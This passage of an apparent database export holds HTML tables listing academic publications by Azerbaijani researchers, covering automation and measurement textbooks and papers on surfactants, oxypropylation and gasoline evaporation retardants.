АзТУ, 2004</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>44</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>«Идаряетмя системляринин схемотехникасы» фянниндян лабораторийа ишляринин йериня йетирилмясиня даир методики эюстяриш</p></td><td width=\"102\"><p>методики эюстяриш</p></td><td width=\"84\"><p>Гасымов А.Й.</p><p>Аширов З.П.</p></td><td width=\"102\"><p>Бакы, АзТУ, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>85</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Металкясян дязэащда емал олунан деталын юлчцляриня автоматик нязарят алтсистеми</p></td><td width=\"102\"><p>&nbsp;тезис</p></td><td width=\"84\"><p>Пирийев Е.М.</p></td><td width=\"102\"><p>АзТУ-нун 48-жи ТЕТК-нын мярузяляринин тезисляри, Бакы, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>1</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Некоторые вопросы построения функциональных преобразователей подсистем предварительной обработки информации&nbsp; в АСУ ТП</p></td><td width=\"102\"><p>конфрансын материаллары</p></td><td width=\"84\"><p>---</p></td><td width=\"102\"><p>Профессор-мцяллим щейятинин вя аспирантларын АзТУ-нун 55 иллийиня щяср едилмиш елми конфрансын материаллары, Бакы, АзТУ, 2005</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>«Идаряетмя системляринин елемент вя гурьулары» (Али мяктябляр цчцн дярслик)</p></td><td width=\"102\"><p>&nbsp;</p><p>Dərslik</p></td><td width=\"84\"><p>Мяммядов Щ Я.</p></td><td width=\"102\"><p>«Елм» няшриййаты», Бакы, 2006</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>221</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Подсистема автоматического контроля температурного режима на металло-режущих станках</p></td><td width=\"102\"><p>Материалы конференции</p></td><td width=\"84\"><p>Мамедов Г.А.</p></td><td width=\"102\"><p>Материалы научно-технической конференции, Баку, АзТУ, 2008</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Keyfiyyətə nəzarət,diaqnostika üsul və cihazları</p></td><td width=\"102\"><p>Metodik göstərişlər</p></td><td width=\"84\"><p>Əfəndiyev O.Z.</p><p>Kərimli T.İ.</p><p>Fərhadov V.Q.</p></td><td width=\"102\"><p>Bakı, MAA,</p><p>2008</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>24</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Avtomatlaşdırmanın əsasları (ali məktəblər üçün dərslik)</p></td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><p>Məmmədov H.Ə.</p><p>Namazov M.B.</p></td><td width=\"102\"><p>Bakı, Elm,</p><p>2009</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>461</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Подсистема получе-ния информации о температуре нагрева обмотки электро-двигателя</p></td><td width=\"102\"><p>статья</p></td><td width=\"84\"><p>Əfəfndi-yev O.Z.</p></td><td width=\"102\"><p>Milli Aviasiya Akademiyasının Elmi əsərləri №2(2)</p><p>Bakı,2009</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>7</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Metal emalı sistemlərində informasiyanı avtomatik daxiletmə altsistemi</p></td><td width=\"102\"><p>konfrans</p><p>materialları</p></td><td width=\"84\"><p>Əliyev K.K.</p><p>&nbsp;</p></td><td width=\"102\"><p>AzTU-nun 53-cü TETK materialları,AzTU,2010</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\">&nbsp;Юлчмя техникасынын ясаслары (Али мяктябляр цчцн дярслик)</td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><p>Мяммядов Щ.Я.</p><p>&nbsp;</p></td><td width=\"102\"><p>Бакы, 2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>292</p></td></tr></tbody></table></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Юлчмя техникасынын ясаслары</p></td></tr></tbody></table></div>(Дярс вясаити)</td><td width=\"102\"><p>Dərslik</p></td><td width=\"84\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>НязярхановЯ.Т.</p><p>Фярщадов В.Г.</p></td></tr></tbody></table></div>Исмайылов Н.М<p>&nbsp;</p></td><td width=\"102\"><p>Бакы, МАА,2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>196</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Подсистема получения&nbsp; и обра-ботки информации о силовых характеристиках процесса резания</p></td></tr></tbody></table></td><td width=\"102\"><p>konfrans</p><p>materialları</p></td><td width=\"84\"><p>&nbsp;</p><p>Кулиева Г.С.</p><p>&nbsp;</p></td><td width=\"102\"><p>AzTU-nun 53-cü TETK materialları,AzTU,2011</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>2</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Получение и и обработка информации для управления ходом технологического процесса металлообработки</p></td><td width=\"102\"><p>Елми ясярляр</p></td><td width=\"84\"><p>Мяммядов Щ.Я..</p><p>&nbsp;</p></td><td width=\"102\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>Елми ясярляр, №2, АзТУ, 2011, (Бейнялхалг E/T конф.&nbsp; «Мцасир информасийа вя коммуникасийа технол. инкишаф&nbsp; перспективляри»,</p></td></tr></tbody></table></div>Бакы, Елм,2011)</td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>4</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p>К вопросу построения систем автоматического контроля пара-</p></td></tr></tbody></table></div>метров процесса механообра-ботки</td><td width=\"102\"><p>---</p></td><td width=\"84\"><p>Мяммядов Щ.Я.</p><p>&nbsp;</p></td><td width=\"102\"><p>«Автоматика вя идаряетмянин мцасир проблем-ляри» Республика елми-техники конф. материал-лары,Бакы, 2012</p></td><td width=\"60\"><p>2012</p></td><td width=\"60\"><p>3</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1552,968,'az','Ravan Rahimov','Ravan Rahimov','<div><br></div><div><h5 style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><table cellspacing=\"0\" cellpadding=\"0\" width=\"831\"><tbody><tr><td width=\"31\"><strong>N</strong></td><td width=\"173\"><strong>Title of publication</strong></td><td width=\"227\"><strong>Publications</strong><strong>Type/publication</strong><strong>activities</strong></td><td width=\"144\"><strong>All authors</strong></td><td width=\"96\"><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></td><td width=\"88\"><strong>Year published</strong></td><td width=\"72\"><strong>Vol.&nbsp;</strong><strong>&amp; pages</strong></td></tr><tr><td width=\"31\"><ol><li>1</li></ol></td><td width=\"173\">Очистка воды от тяжелых металлов сорбентами, содержащими фосфокислотные группы (-РО<sub>3</sub>Н<sub>2</sub>)</td><td width=\"227\">Материалы IV Международной Конференции «Экология и Охрана Жизненной Деятельности»</td><td width=\"144\">Азизов А.А.Рагимов Р.А.Алосманов Р.М.Акперов О.Г.</td><td width=\"96\">Сумгаит</td><td width=\"88\">2002</td><td width=\"72\">С.44</td></tr><tr><td width=\"31\"><ol><li>2</li></ol></td><td width=\"173\">Butadienstirol kauçukunun xlorfosforlaşdırılması</td><td width=\"227\">Aspirantların və gənc tədqiqatçıların VIII Respublika Elmi Konfransı</td><td width=\"144\">Rəhimov R.A.</td><td width=\"96\">Bakı</td><td width=\"88\">2002</td><td width=\"72\">s.21</td></tr><tr><td width=\"31\"><ol><li>3</li></ol></td><td width=\"173\">Poliolefinlərin fosforxlorlaşmasının qanunauyğunluqları</td><td width=\"227\">Ali məktəb tələbələrinin XVIII Respublika Elmi Konfransı</td><td width=\"144\">Rəhimov R.A.</td><td width=\"96\">Bakı</td><td width=\"88\">2002</td><td width=\"72\">s.54</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Fosforturşu qruplu–ОP(ОH)<sub>2</sub>sorbentlərin alınma üsulu</td><td width=\"227\">Azərbaycan Respublikası Patenti İ &nbsp;2005 0142</td><td width=\"144\">Əzizov A.Ə.Alosmanov R.M.Rəhimov R.A.Əkbərov O.H.</td><td width=\"96\">Azərbaycan</td><td width=\"88\">2005</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Polifosfon turşularının sorbsiya xassələrinin tədqiqi</td><td width=\"227\">V Bakı Beynəlxalq Məmmədəliyev adına neft-kimya konfransı</td><td width=\"144\">Əzizov A.Ə.Alosmanov R.M.Rəhimov R.A.&nbsp;</td><td width=\"96\">Bakı</td><td width=\"88\">2002</td><td width=\"72\">s.24</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Замедление испарения нефтепродуктов с помощью реагентов олигомерной природы</td><td width=\"227\">Материалы Международной научно-практической конференции «Нефтепереработка и нефтехимия-2003»</td><td width=\"144\">Асадов З.Г.Ага-заде А.Д.Ахмедова Г.А.Рагимов Р.А.Алиева Г.С.</td><td width=\"96\">Россия,Уфа</td><td width=\"88\">&nbsp;2003</td><td width=\"72\">С.242</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Petroleum-collecting and dispersing properties of oxypropylates of individual monocarboxylic acids (C<sub>16</sub>, C<sub>18</sub>) and their natural fractions</td><td width=\"227\">Processes of petrochemistry and oil refining</td><td width=\"144\">Asadov Z.H.Aga-zade A.D.Zarbaliyeva I.A.Salamova N.V.Ahmadova G.A.Eyubova S.K.Rahimov R.A.Baghirova A.M.</td><td width=\"96\">Baku</td><td width=\"88\">2003</td><td width=\"72\">№4 (15), P. 4-16</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Synthesis of surface-active ethers and esters based on (di)methylaminoethanol and propylene oxide</td><td width=\"227\">Georgia Chemical Journal</td><td width=\"144\">Asadov Z.H.Aga-zade A.D.Ahmadova G.A.Nasibova Sh.M.Rahimov R.A.Aliyeva G.S.</td><td width=\"96\">Georgia</td><td width=\"88\">2003</td><td width=\"72\">Vol. 3, №3, P. 205-211</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Heterozəncirli oliqomerlərlə benzinin buxarlanmasının zəiflədilməsi</td><td width=\"227\">Azərbaycan MEA aspirantlarının Elmi Konfransı</td><td width=\"144\">Rəhimov R.A.</td><td width=\"96\"><strong><em>Bakı</em></strong></td><td width=\"88\">2004</td><td width=\"72\">s.103-104</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">(Chlor)oxypropylation of polyatomic aliphatic alcohols (C<sub>2</sub>-C<sub>3</sub>)</td><td width=\"227\">XVIII Ulusal Kimya Kongresi</td><td width=\"144\">Aga-zade A.D.Asadov Z.H.Ahmadova G.A.Rahimov R.A.Baghirova R.A.</td><td width=\"96\">Turkey,Kars</td><td width=\"88\">&nbsp;2004</td><td width=\"72\">P. 1026</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Oligomeric derivatives of epichlorohydrin and propylene oxide for decreasing the rate of gasoline evaporation</td><td width=\"227\">11<sup>th</sup>&nbsp;International Conference on Polymers and Organic Chemistry.</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Aga-zade A.D.Rahimov R.A.</td><td width=\"96\">Czech Republic,Prague</td><td width=\"88\">&nbsp;2004</td><td width=\"72\">P.70</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Retarding of the gasoline evaporation with an aid of additives</td><td width=\"227\">18<sup>th</sup>&nbsp;International Conference on Chemical Education. August 3-8, 2004.,</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Aga-zade A.D.Rahimov R.A.</td><td width=\"96\">Turkey,Istanbul</td><td width=\"88\">2004</td><td width=\"72\">P. 163</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Олигомерные реагенты для снижения скорости испарения бензина</td><td width=\"227\">Материалы В Международной научной конференции «Экология и безопасность жизнедеятельности»</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.Багирова А.М.</td><td width=\"96\">Сумгаит</td><td width=\"88\">&nbsp;2004</td><td width=\"72\">с.140-141</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Synthesis of surface-active ethers and esters based on (di)methyl-aminoethanol and propylene oxide</td><td width=\"227\">Georgia Chemical Journal</td><td width=\"144\">Asadov Z.H.Aga-zade A.D.Ahmadova G.А.Nasibova Sh.M.Rahimov R.A.Aliyeva G.S.</td><td width=\"96\">Georgia</td><td width=\"88\">2004</td><td width=\"72\">Vol 4, №2, p.113-119</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение, физико-химические характеристики, нефтесобирающие и диспергирующие свойства новых поверхностно-активных веществ на основе фракции кислот касторового масла, пропиленоксида и этаноламинов</td><td width=\"227\">Химический Журнал Грузии</td><td width=\"144\">Асадов З.Г.Ага-заде А.Д.Ахмедова Г.А.Зарбалиева И.А.Рагимов Р.А.Саламова Н.В.</td><td width=\"96\">Грузия</td><td width=\"88\">2005</td><td width=\"72\">№3, том 5, с.286-299</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Олигомеры на основе эпоксидов в качестве замедлителей испарения бензина</td><td width=\"227\">Тезисы докладов VI Бакинской Международной Мамедалиевской конференции по нефтехимии, посвященной 100-летию академика Ю.Г.Мамедалиева</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.Ага-заде А.Д.</td><td width=\"96\">Баку</td><td width=\"88\">&nbsp;2005</td><td width=\"72\">с.171</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение и физико-химические характеристики поверхностно-активных олигомеров на основе этиленгликоля, пропиленоксида и фосфатирующих агентов</td><td width=\"227\">Азербайджанский Химический Журнал</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2005</td><td width=\"72\">№2, с.28-33</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Каталитическая конденсация глицерина с пропиленоксидом и эпихлоргидрином</td><td width=\"227\">III Международная научная конференция «Тонкий органический синтез и катализ», посвященная 85-летнему юблиею Азербайджанской Государственной Нефтяной Академии</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.Ага-заде А.Д.&nbsp;&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">&nbsp;2005</td><td width=\"72\">с.307-310</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Закономерности реакции оксипропилирования глицерина с помощью оксида пропилена</td><td width=\"227\">Процессы Нефтехимии и Нефтепереработки</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.</td><td width=\"96\">Baku</td><td width=\"88\">2006</td><td width=\"72\">1(24) с.19-30</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Пленкообразующие олигомеры, уменьшающие потери бензина при испарении</td><td width=\"227\">Химический Журнал Грузии</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.</td><td width=\"96\">Грузия</td><td width=\"88\">2006</td><td width=\"72\">т. 6, №2, с.201-217</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Regularities of reaction of glycerine oxypropylation with propylene oxide</td><td width=\"227\">Prosesses of petrochemistry and oil refining</td><td width=\"144\">Asadov Z.H.Rahimov R.A.Ahmadova G.A.</td><td width=\"96\">Baku</td><td width=\"88\">2006</td><td width=\"72\">№1(24) P.18-28</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Кинетические закономерности реакции хлороксипропилирования глицерина эпихлоргидрином</td><td width=\"227\">Азербайджанский Химический Журнал&nbsp;</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Багирова А.М.Рагимов Р.А</td><td width=\"96\">Баку</td><td width=\"88\">2007</td><td width=\"72\">№ 1. С.93-100</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Oligomers of epoxides for retarding gasoline vaporization</td><td width=\"227\">European Polymer Congress</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Rahimov R.A.Baghirova A.M.</td><td width=\"96\">Slovenia,Portorož</td><td width=\"88\">2007</td><td width=\"72\">P.190</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Закономерности реакции оксипропилирования каприновой кислоты оксидом пропилена и свойства конечных оксипропилатов</td><td width=\"227\">Азербайджанский Химический Журнал</td><td width=\"144\">Асадов З.Г.Зарбалиева И.А.Рагимов Р.А.Ахмедова Г.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2007</td><td width=\"72\">№ 2. С.84-92</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Микроэмульсионные пленки, замедляющие испарение бензина при хранении&nbsp;</td><td width=\"227\">Материалы Междун. Научн. Конф. «Экология: естественные и общественные проблемы», посвящ. 100-летнему юбилею акад. Гасана Алиева.</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">&nbsp;2007</td><td width=\"72\">С. 413-414.</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Сложноэфирно-олигомерные реагенты на основе эпоксидов для уменьшения потерь бензина от испарения&nbsp;</td><td width=\"227\">Материалы 6-ой Междун.Научн.Конф. «Экология и охрана жизнедеятельности», посвящ. 100-летию со дня рожд. акад. Гасана Алиева</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.&nbsp;</td><td width=\"96\">Сумгаит</td><td width=\"88\">&nbsp;2007</td><td width=\"72\">С. 73-74</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Synthesis and physico-chemical characterization of novel surface-active oligomers based on 1.3-butylene glycol and propylene oxide&nbsp;</td><td width=\"227\">Georgia Chemical Journal&nbsp;</td><td width=\"144\">Asadov Z.H.Rahimov R.A.Ahmadova G.A.Husseynova M.B.Ahmadbayova S.F.</td><td width=\"96\">Georgia</td><td width=\"88\">2007</td><td width=\"72\">Vol. 7, №4. P.391-397</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение, физико-химические характеристики, нефтесобирающие и диспергирующие свойства новых поверхностно-активных веществ на основе фракции кислот касторового масла, пропиленоксида и этаноламинов</td><td width=\"227\">В кн.:Экологические проблемы Земли и альтернативные источники энергии (составители:М.И.Рустамов, В.М.Аббасов, Т.А.Мамедова,Н.Н.Пириев)&nbsp;</td><td width=\"144\">Асадов З.Г.Ага-заде А.Д.Ахмедова Г.А.Зарбалиева И.А.Рагимов Р.А.Саламова Н.В.&nbsp;</td><td width=\"96\">Баку:Элм</td><td width=\"88\">2008</td><td width=\"72\">C. 384-400</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Олигомеры на основе эпоксисоединений и ортофосфорной кислоты&nbsp;</td><td width=\"227\">Азербайджанский Химический Журнал</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.</td><td width=\"96\">Баку</td><td width=\"88\">2007</td><td width=\"72\">№ 4. С.33-39</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение нефтесобирающих реагентов хлороксипропилированием стеариновой кислоты эпихлоргидрином и кинетические закономерности реакции</td><td width=\"227\">Тезисы докладов научной конференции, посвященной 100-летнему юбилею акад. М.Ф.Нагиева.&nbsp;</td><td width=\"144\">Ахмедова Г.А.Асадов З.Г.Рагимов Р.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2008</td><td width=\"72\">С.180-181</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Закономерности реакции хлороксипропилирования стеариновой кислоты хлорэпоксипропаном, нефтесобирающие и диспергирующие свойства конечных хлороксипропилатов и их модификатов</td><td width=\"227\">Нефтепереработка и Нефтехимия&nbsp;</td><td width=\"144\">Ахмедова Г.А.Асадов З.Г.Рагимов Р.А.&nbsp;</td><td width=\"96\">Москва</td><td width=\"88\">2008</td><td width=\"72\">№6. С.50-56</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Кинетические закономерности реакции оксипропилирования пальмитиновой, стеариновой и олеиновой кислоты</td><td width=\"227\">Химический Журнал Грузии&nbsp;</td><td width=\"144\">Асадов З.Г.Саламова Н.В.Ахмедова Г.А.Рагимов Р.А.&nbsp;</td><td width=\"96\">Грузия</td><td width=\"88\">2008</td><td width=\"72\">№ 3. С.261-265</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Surface-active oligoethers for retardation of gasoline vaporization</td><td width=\"227\">European polymer congress</td><td width=\"144\">Ahmadova G.A.Asadov Z.H.Rahimov R.A.</td><td width=\"96\">Austria,Graz</td><td width=\"88\">2009</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Поверхностно-активные вещества на основе пентаэритрита и С<sub>3</sub>-эпоксидов для замедления испарения бензина</td><td width=\"227\">Тезисы докладов VII Бакинская Международная Мамедалиевская конференция по нефтехимии, посвященная 80-летию ИНХП НАН Азербайджана</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.Ага-заде А.Д.Мамедова Х.А.</td><td width=\"96\">&nbsp;Баку</td><td width=\"88\">2009</td><td width=\"72\">с.86-87</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Saxlanma zamanı benzinlərin buxarlanma itkilərinin azaldılması üsulu</td><td width=\"227\">Azərbaycan Respublikası Patenti İ 2009 0176</td><td width=\"144\">Əsədov Z.H.Rəhimov R.A.Ağa-zadə Ə.D.Əhmədova G.A.Qasımzadə E.Ə.</td><td width=\"96\">Bakı</td><td width=\"88\">2009</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Çoxatomlu spirtlərin oliqomer təbiətli oksipropil efirləri ilə benzinin buxarlanmasının ləngidilməsi</td><td width=\"227\">АМЕА məruzələri</td><td width=\"144\">Əsədov Z.H.Rəhimov R.A.Ağa-zadə Ə.D.Əhmədova G.A.</td><td width=\"96\">Вakı</td><td width=\"88\">2009</td><td width=\"72\">LXV, №1, с.39-44</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Аzoderivatives of b-diketones as an analyticalreagents in the photometric determination of iron(iii)</td><td width=\"227\">Тезисы докладов IV региональная конференция молодых ученых «Теоритическая экспериментальная химия жидкофазных систем»</td><td width=\"144\">Aliyeva R.A.Aliyev I.A.Azimova S.I.Mahmudov K.T.</td><td width=\"96\">Россия,Иваново</td><td width=\"88\">&nbsp;2009</td><td width=\"72\">с.111-112</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Thermodynamic, tautomeric, spectroscopic, studies on 3-(4-fluorophenylhydrazo)pentane-2,4-dione</td><td width=\"227\">Тезисы докладов IV региональная конференция молодых ученых «Теоритическая экспериментальная химия жидкофазных систем»</td><td width=\"144\">Maharramov A.M.Aliyev I.A.Aliyeva R.A.Mahmudov K.T.</td><td width=\"96\">Россия,Иваново</td><td width=\"88\">&nbsp;2009</td><td width=\"72\">с.112-113</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Pambıq yağı turşu fraksiyası (PYTF), etanolaminlər və fosfat turşusu əsasında yeni neftyığıcı və dispersləyici reagentlər</td><td width=\"227\">Prof. A.Ə.Verdizadənin 95 illik yubileyinə həsr olunmuş “Üzvi reagentlər analitik kimyada” pespublika konfransı</td><td width=\"144\">Əsədov Z.H.Zərbəliyeva İ.A.Salamova N.V.Ağa-zadə Ə.D.Əhmədova G.A.Rəhimov R.A.</td><td width=\"96\">Bakı</td><td width=\"88\">2009</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение новых поверхностно-активных веществ на основе кислотных фракций талового масла</td><td width=\"227\">Процессы нефтехимии и нефтепереработки.&nbsp;</td><td width=\"144\">Асадов З.Г.Зарбалиева И.А.Ахмедова Г.А.Рагимов Р.А.Мамедова Х.А.</td><td width=\"96\">Баку</td><td width=\"88\">2010</td><td width=\"72\">№2 (42). С.139-146</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Colloidal-chemical parameters and petroleum-collecting properties of chloropropoxylate surfactants based on epichlorohydrin and carboxylic acids fractions of animal origin</td><td width=\"227\">J. Materials Innovations Research&nbsp;</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Rahimov R.A.</td><td width=\"96\">USA</td><td width=\"88\">2010</td><td width=\"72\">V.14. N 4 P.327-331</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Surface activity, thermodynamics of micellization and adsorption properties of quaternary salts based on ethanolamines and decyl bromide</td><td width=\"227\">J. Surfactant and Detergent</td><td width=\"144\">Asadov Z.H.Rahimov R.A.Nasibova Sh.M.Ahmadova G.A.&nbsp;</td><td width=\"96\">USA</td><td width=\"88\">2010</td><td width=\"72\">v.13, N 4. Р.459-464</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Каталитическое взаимодействие триглицеридов растительных масел и этаноламинов</td><td width=\"227\">Материалы Азербайджано-Российского симпозиума с междун. Участием «Катализ в решении проблем нефтехимии и нефтепереработки»</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Саламова Н.В.Зарбалиева И.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2010</td><td width=\"72\">С.176-177</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Новые нефтесобирающие и диспергирующие реагенты на основе этаноламинов, ортофосфорной кислоты, кукурузного и оливкового масел</td><td width=\"227\">В сборнике трудов ИНХП НАНА «Нефтепереработка,нефтехимия, катализ».&nbsp;</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Саламова Н.В.Ахмедова Г.А.Зарбалиева И.А.&nbsp;&nbsp;</td><td width=\"96\">Баку:Элм</td><td width=\"88\">2010</td><td width=\"72\">С.107-120</td></tr></tbody></table></h5>  <br></div>'),(1553,968,'en','Ravan Rahimov','Ravan Rahimov','<div><br></div><div><h5><table cellspacing=\"0\" cellpadding=\"0\" width=\"831\"><tbody><tr><td width=\"31\"><strong>N</strong></td><td width=\"173\"><strong>Title of publication</strong></td><td width=\"227\"><strong>Publications</strong><strong>Type/publication</strong><strong>activities</strong></td><td width=\"144\"><strong>All authors</strong></td><td width=\"96\"><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></td><td width=\"88\"><strong>Year published</strong></td><td width=\"72\"><strong>Vol.&nbsp;</strong><strong>&amp; pages</strong></td></tr><tr><td width=\"31\"><ol><li>1</li></ol></td><td width=\"173\">Очистка воды от тяжелых металлов сорбентами, содержащими фосфокислотные группы (-РО<sub>3</sub>Н<sub>2</sub>)</td><td width=\"227\">Материалы IV Международной Конференции «Экология и Охрана Жизненной Деятельности»</td><td width=\"144\">Азизов А.А.Рагимов Р.А.Алосманов Р.М.Акперов О.Г.</td><td width=\"96\">Сумгаит</td><td width=\"88\">2002</td><td width=\"72\">С.44</td></tr><tr><td width=\"31\"><ol><li>2</li></ol></td><td width=\"173\">Butadienstirol kauçukunun xlorfosforlaşdırılması</td><td width=\"227\">Aspirantların və gənc tədqiqatçıların VIII Respublika Elmi Konfransı</td><td width=\"144\">Rəhimov R.A.</td><td width=\"96\">Bakı</td><td width=\"88\">2002</td><td width=\"72\">s.21</td></tr><tr><td width=\"31\"><ol><li>3</li></ol></td><td width=\"173\">Poliolefinlərin fosforxlorlaşmasının qanunauyğunluqları</td><td width=\"227\">Ali məktəb tələbələrinin XVIII Respublika Elmi Konfransı</td><td width=\"144\">Rəhimov R.A.</td><td width=\"96\">Bakı</td><td width=\"88\">2002</td><td width=\"72\">s.54</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td 